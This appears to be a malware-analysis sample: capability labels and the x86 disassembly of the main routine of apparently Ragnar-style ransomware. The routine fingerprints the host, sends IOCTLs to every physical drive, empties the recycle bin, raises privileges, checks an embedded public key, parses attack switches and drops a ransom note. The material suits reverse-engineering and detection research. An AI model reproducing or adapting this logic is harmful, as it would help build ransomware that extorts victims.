Function at 0x4053e0
Capabilities:
Accept command line arguments
Check os version
Contain obfuscated stackstrings
Copy file
Create a process with modified i/o handles and window
Create process on windows
Create process suspended
Create thread
Empty the recycle bin
Encode data using xor
Enumerate disk volumes
Enumerate processes
Get common file path
Get disk information
Get hostname
Get process image filename
Get session user name
Get system information on windows
Terminate process
Terminate thread
Write and execute a file
Write file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, 0x1d38
call fcn.0040acb0
push esi
push edi
call fcn.00403e70
lea eax, [ebp - 0x18]
mov dword [ebp - 0x18], 0x101
push eax
lea eax, [ebp - 0x4e0]
mov dword [ebp - 0x28], 0x101
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x1430]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
push str.SOFTWAREMicrosoftCryptography
lea eax, [ebp - 0xf18]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.MachineGuid
push str.SOFTWAREMicrosoftCryptography
call fcn.00404950
push str.ProductName
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
mov edi, eax
call fcn.00404950
add esp, 0x10
mov esi, eax
lea eax, [ebp - 0x858]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
lea eax, [ebp - 0x858]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x1430]
push eax
lea eax, [ebp - 0x858]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x4e0]
push eax
lea eax, [ebp - 0x858]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x4e0]
push eax
call fcn.00405150
mov dword [ebp - 4], eax
lea eax, [ebp - 0x1430]
push eax
call fcn.00405150
push edi
mov dword [ebp - 0x14], eax
call fcn.00405150
push esi
mov edi, eax
call fcn.00405150
mov esi, eax
lea eax, [ebp - 0x858]
push eax
call fcn.00405150
push eax
push dword [ebp - 4]
lea eax, [ebp - 0xc18]
push dword [ebp - 0x14]
push esi
push edi
push str._s__s__s__s__s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x30
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
lea ecx, [ebp - 8]
mov dword [ebp - 8], 0
push ecx
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 8]
cmp eax, 1
je 0x405d15
cmp eax, 3
jne 0x40558c
xor esi, esi
nop dword [eax + eax]
lea eax, [ebp - 0xc18]
push eax
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40558c
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp esi, 0x8000
jne 0x405583
push 0x309
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
inc esi
cmp esi, 0x10000
jl 0x405540
mov eax, dword fs:[0x30]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
cmp dword [eax + 0xa4], 6
jae 0x4055b5
mov dword [section..data], 0
mov dword [0x40d004], 0
xor edi, edi
nop word [eax + eax]
push edi
lea eax, [ebp - 0x1728]
push str..PHYSICALDRIVE_d
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x1728]
push 0
push 1
push 3
push 0
push 7
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x405660
push 0
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
push eax
push 0
push 0
push 0x28
lea eax, [ebp - 0x60]
xorps xmm0, xmm0
push eax
push 0x7c0f4
movaps xmmword [ebp - 0x60], xmm0
movaps xmmword [ebp - 0x50], xmm0
push esi
movq qword [ebp - 0x40], xmm0
mov dword [ebp - 0x60], 0x28
movlpd qword [ebp - 0x58], xmm0
mov dword [ebp - 0x50], 3
mov dword [ebp - 0x4c], 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0
push 0
push 0
push 0x70140
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc edi
cmp edi, 0x10
jl 0x4055c0
push 0x100
lea eax, [ebp - 0xf18]
mov dword [ebp - 4], 0x5c3a20
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
mov esi, eax
nop dword [eax]
lea eax, [ebp - 0x18]
push eax
push 0x100
lea eax, [ebp - 0x858]
push eax
lea eax, [ebp - 0xf18]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameA]
lea eax, [ebp - 0x858]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x40571d
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edx, eax
cmp edx, 4
jae 0x4056cf
xor cl, cl
jmp 0x4056e8
mov eax, 4
mov cl, 0x43
test al, dl
je 0x4056e8
nop word [eax + eax]
add eax, eax
inc cl
test edx, eax
jne 0x4056e0
lea eax, [ebp - 0xf18]
mov byte [ebp - 4], cl
push eax
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
test eax, eax
je 0x40571d
lea eax, [ebp - 0x18]
push eax
push 0x100
lea eax, [ebp - 0x858]
push eax
lea eax, [ebp - 0xf18]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumePathNamesForVolumeNameA]
push 0x100
lea eax, [ebp - 0x1328]
push eax
push 0
push 0
lea eax, [ebp - 0x70]
push eax
push 0x100
lea eax, [ebp - 0x3d8]
push eax
lea eax, [ebp - 0x858]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
push 0x100
lea eax, [ebp - 0xf18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextVolumeA]
test eax, eax
jne 0x405690
push esi
call dword [sym.imp.KERNEL32.dll_FindVolumeClose]
push 7
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHEmptyRecycleBinW]
cmp dword [ebp - 8], 1
mov esi, dword [ebp - 0x1c]
jle 0x405815
push str._pass
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x405815
mov ecx, dword [esi + 8]
mov esi, ecx
mov dword [ebp - 0x18], ecx
lea edx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x4057a2
push 0
push 0
push 0
push 0
sub esi, edx
sar esi, 1
push esi
push ecx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 4], eax
lea ecx, [eax + 1]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x405804
push 0
push 0
push dword [ebp - 4]
push edi
push esi
push dword [ebp - 0x18]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov eax, dword [ebp - 4]
mov byte [edi + eax], 0
push edi
lea eax, [ebp - 0x1b8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [ebp - 0x1c]
push 0x40
push section..ufo4
lea eax, [ebp - 0x1b8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x1b8]
push eax
call fcn.00404610
add esp, 0x10
mov edi, eax
mov dword [ebp - 0x6c], edi
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push 0x40
push 0x40f048
push eax
push edi
mov dword [ebp - 0xc], eax
call fcn.00404610
add esp, 0x10
mov dword [ebp - 0x70], eax
push 0x40f254
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
push eax
push 0x40f260
push dword [ebp - 0xc]
push edi
call fcn.00404610
add esp, 0x10
mov dword [ebp - 4], eax
push 0x40f660
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
push eax
push 0x40f668
push dword [ebp - 0xc]
push edi
call fcn.00404610
add esp, 0x10
mov dword [ebp - 0x14], eax
xor edi, edi
cmp dword [ebp - 8], 1
jle 0x4058bc
push str._backup
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
mov eax, 1
cmove edi, eax
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x80], 0
test edi, edi
jne 0x405972
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push edi
push edi
push edi
push edi
mov dword [ebp - 0x9c], eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x98], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x90], eax
lea eax, [ebp - 0x80]
push eax
push edi
lea eax, [ebp - 0x9c]
push eax
push 0x404450
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
push dword [ebp - 0x98]
mov dword [ebp - 0x18], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x94], eax
lea eax, [ebp - 0x84]
push eax
push edi
lea eax, [ebp - 0x9c]
push eax
push 0x4042e0
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
push dword [ebp - 0x9c]
mov dword [ebp - 0x28], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea eax, [ebp - 0x10]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 0x44]
mov dword [ebp - 0x48], 1
push eax
push str.SeTakeOwnershipPrivilege
push 0
mov dword [ebp - 0x3c], 2
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push 0
push 0
push 0x10
lea eax, [ebp - 0x48]
push eax
push 0
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
lea eax, [ebp - 0x44]
push eax
push str.SeRestorePrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push 0
push 0
push 0x10
lea eax, [ebp - 0x48]
push eax
push 0
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x40d90c
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 1
lea eax, [ebp - 0x68]
mov dword [ebp - 0x68], 0
push eax
mov word [ebp - 0x64], 0x100
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov eax, dword [0x40d90c]
lea edi, [ebp - 0x2d8]
mov dword [0x40d908], eax
mov ecx, 0x47
xor eax, eax
mov dword [0x40d8f0], 2
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x2d8]
mov dword [0x40d8ec], 0x10000000
push eax
mov dword [0x40d8f4], 3
mov dword [0x40d8fc], 0
mov dword [0x40d8f8], 0
mov dword [0x40d900], 0
mov dword [0x40d904], 0
mov dword [ebp - 0x2d8], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push 0
push 0xf
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
mov dword [ebp - 0x508], 0x22c
lea eax, [ebp - 0x508]
push eax
push edi
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x405b29
push dword [ebp - 0x500]
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x405b18
push 0x104
lea eax, [ebp - 0x1b38]
push eax
push esi
call sub.PSAPI.DLL_GetProcessImageFileNameW
push 0x40b650
lea eax, [ebp - 0x1b38]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x405d1d
push str.uiSeAgnt.exe
lea eax, [ebp - 0x1b38]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrIW]
test eax, eax
jne 0x405d1d
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x508]
push eax
push edi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x405ab2
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20]
cmp dword [eax + 0xa4], 0xa
jne 0x405b45
cmp byte [ebp - 0x1be], 1
je 0x405b4a
call fcn.00401ff0
lea eax, [ebp - 0x134]
push eax
call dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [ebp - 0x120]
mov edi, dword [ebp - 0x6c]
add eax, eax
push 0x1c3
push 0x40f090
push dword [ebp - 0xc]
mov dword [0x40d03c], eax
push edi
call fcn.00404610
mov esi, eax
mov dword [ebp - 0x54], 0x2d2d2d2d
lea eax, [ebp - 0x54]
mov dword [0x40d038], esi
add esp, 0x10
mov dword [ebp - 0x50], 0x4745422d
xor edx, edx
mov dword [ebp - 0x4c], 0x50204e49
mov dword [ebp - 0x48], 0x494c4255
sub esi, eax
mov dword [ebp - 0x44], 0x454b2043
mov dword [ebp - 0x40], 0x2d2d2d59
mov word [ebp - 0x3c], 0x2d2d
nop dword [eax]
lea ecx, [ebp - 0x54]
add ecx, edx
mov al, byte [esi + ecx]
cmp al, byte [ecx]
jne 0x406388
inc edx
cmp edx, 0x1a
jb 0x405bc0
push 0x40fe68
call dword [sym.imp.SHLWAPI.dll_StrToIntA]
push eax
push 0x40fe70
push dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
push edi
call fcn.00404610
add esp, 0x10
mov dword [ebp - 0x10], eax
push 8
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push dword [0x40d038]
mov ecx, eax
mov dword [0x40d8e8], eax
call fcn.00404180
cmp dword [ebp - 8], 1
mov edi, dword [ebp - 0x1c]
jle 0x405d52
push str._backup_path
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x405d52
push 0x108
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x405d15
mov dword [esi + 0x100], 0
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x4c], 0x5c
lea eax, [ebp - 0x1228]
mov dword [ebp - 0x4a], 0x5c
mov dword [ebp - 0x48], 0x3f
mov dword [ebp - 0x46], 0x5c
push eax
mov dword [ebp - 0x44], 0
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push dword [edi + 0x10]
lea eax, [ebp - 0x1228]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x40b634
lea eax, [ebp - 0x1228]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 0x1228]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x1628]
push eax
push 0
push esi
push 0x405100
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x6d8], eax
test eax, eax
je 0x405d15
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x6d8]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push dword [ebp - 0x6d8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x74]
call fcn.00401fe0
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20]
cmp dword [eax + 0xa4], 6
je 0x405b4a
cmp dword [eax + 0xa8], 1
je 0x405b4a
call fcn.004024d0
jmp 0x405b4a
lea eax, [ebp - 0x88]
mov dword [ebp - 0x88], 0x101
push eax
lea eax, [ebp - 0x1930]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 4
push 0x3000
push 0x7f
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
xor esi, esi
lea eax, [ebp - 0x1930]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor edx, edx
mov dword [ebp - 0x6c], eax
test eax, eax
jle 0x405dbf
mov edi, eax
nop
movzx ecx, word [ebp + edx*2 - 0x1930]
inc edx
xor ecx, 0xab01ff3c
add esi, ecx
mov eax, esi
rol eax, 0xd
sub esi, eax
cmp edx, edi
jl 0x405da0
mov edi, dword [ebp - 0x1c]
push esi
mov esi, dword [ebp - 4]
push str._08X
push esi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0xd18]
push 0x40b644
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.__RAGNAR___NOTES_
push 0x40d458
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push esi
push 0x40d458
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.__.txt
push 0x40d458
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x40d458
lea eax, [ebp - 0xd18]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x40d048
push 0x410
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea eax, [ebp - 0xd18]
push eax
push 0x40d048
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push dword [ebp - 0x70]
lea eax, [ebp - 0x758]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp - 0x758]
push eax
push 0x40d868
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, dword [ebp - 8]
cmp eax, 1
jle 0x406045
push str._backup
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x405ec1
push 0
push 0x80
push 4
push 0
push 0
push 0xc0000000
push 0x40d048
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
test esi, esi
je 0x405eba
push 0
lea eax, [ebp - 0x70]
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 8]
cmp eax, 1
jle 0x406045
push str._list
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x405ef2
push dword [edi + 0x10]
call fcn.004046f0
add esp, 4
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp - 8]
cmp eax, 1
jle 0x406045
push str._path
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x405ff1
push 0x108
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x405d15
mov dword [esi + 0x100], 1
mov dword [esi + 0x104], 0
push dword [edi + 0x10]
lea eax, [ebp - 0xb68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x40b634
lea eax, [ebp - 0xb68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push dword [edi + 0x10]
lea eax, [ebp - 0x4e8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x40d458
lea eax, [ebp - 0x4e8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 1
lea eax, [ebp - 0x4e8]
push eax
push 0x40d048
call dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [ebp - 0xb68]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x1218]
push eax
push 0
push esi
push 0x405120
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0x1628], eax
test eax, eax
je 0x405d15
push 0xffffffffffffffff
push 0
lea eax, [ebp - 0x1628]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push dword [ebp - 0x1628]
jmp 0x405d07
mov eax, dword [ebp - 8]
cmp eax, 1
jle 0x406045
push str._silent_path
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x406042
push 0x108
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x405d15
mov dword [esi + 0x100], 1
mov dword [esi + 0x104], 1
jmp 0x405f46
mov eax, dword [ebp - 8]
xor ecx, ecx
xor esi, esi
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], ecx
cmp eax, 1
jle 0x4060d5
push 0x40b788
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
xor ecx, ecx
test eax, eax
mov eax, 1
cmove ecx, eax
mov dword [ebp - 0xc], ecx
cmp dword [ebp - 8], eax
jle 0x4060d5
push str._vmback
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x40609a
mov dword [ebp - 0xc], 1
mov dword [ebp - 0x10], 1
cmp dword [ebp - 8], 1
jle 0x4060d5
push str._silent
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
mov eax, 1
cmove esi, eax
cmp dword [ebp - 8], eax
jle 0x4060d5
push str._backup
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
mov eax, 1
cmove esi, eax
push 0x10
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x10
push 8
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ecx, dword [ebp - 0x14]
mov edx, eax
mov eax, dword [ebp - 0xc]
mov edi, dword [ebp - 0x10]
mov dword [ebp - 4], edx
mov dword [ecx], eax
mov dword [ecx + 4], edi
mov dword [ecx + 8], esi
mov dword [edx], eax
mov eax, edi
mov edi, dword [ebp - 0x1c]
mov dword [edx + 4], eax
mov dword [edx + 8], esi
mov dword [ecx + 0xc], 1
mov dword [edx + 0xc], 1
cmp dword [ebp - 8], 1
jle 0x406159
push str._safemode
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
mov ecx, dword [ebp - 0x14]
mov esi, dword [ebp - 4]
test eax, eax
jne 0x40615c
mov dword [ecx + 0xc], 1
mov dword [esi + 0xc], 1
jmp 0x40615c
mov esi, dword [ebp - 4]
lea eax, [ebp - 0xa4]
push eax
push 0
push ecx
push 0x404f10
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [ebp - 8], 1
mov dword [ebp - 0x7c], eax
jle 0x40619c
push str._safemode
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x40619c
push eax
push 0xffffffffffffffff
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
lea eax, [ebp - 0xa0]
push eax
push 0
push esi
push 0x4049d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [ebp - 8], 1
mov dword [ebp - 0x78], eax
jle 0x4061dc
push str._safemode
push dword [edi + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
jne 0x4061dc
push eax
push 0xffffffffffffffff
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
push 0xffffffffffffffff
push 1
lea eax, [ebp - 0x7c]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
lea eax, [ebp - 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0xc], 1
je 0x405d15
mov eax, dword [ebp - 0x28]
test eax, eax
je 0x406210
push 1
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x406220
push 1
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [ebp - 0x20]
cmp dword [eax + 0xa4], 0xa
jne 0x40623a
cmp byte [ebp - 0x1be], 1
jne 0x40623a
call fcn.004024d0
push dword [0x40d8e8]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xorps xmm0, xmm0
mov dword [ebp - 0xd0], 0
movaps xmmword [ebp - 0x110], xmm0
movaps xmmword [ebp - 0x100], xmm0
movaps xmmword [ebp - 0xf0], xmm0
movaps xmmword [ebp - 0xe0], xmm0
movaps xmmword [ebp - 0xc0], xmm0
mov dword [ebp - 0x110], 0x44
call dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0x24]
push eax
push 0xf01ff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 0x24]
push eax
push 1
push 0
push 0
push 0xf01ff
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
push 4
lea eax, [ebp - 0x8c]
push eax
push 0xc
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
mov eax, 3
mov dword [ebp - 0xe4], 1
mov word [ebp - 0xe0], ax
lea eax, [ebp - 0xe18]
push 0x7f
push eax
mov dword [ebp - 0x108], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push str._notepad.exe
lea eax, [ebp - 0xe18]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x40d048
lea eax, [ebp - 0x1d38]
push 0x40b800
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0xc0]
push eax
lea eax, [ebp - 0x110]
push eax
push 0
push 0
push 0x30
push 0
push 0
push 0
lea eax, [ebp - 0x1d38]
push eax
lea eax, [ebp - 0xe18]
push eax
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserW]
test eax, eax
je 0x405d15
push dword [ebp - 0xc0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xbc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x405d15
push 0x7b
jmp 0x405d17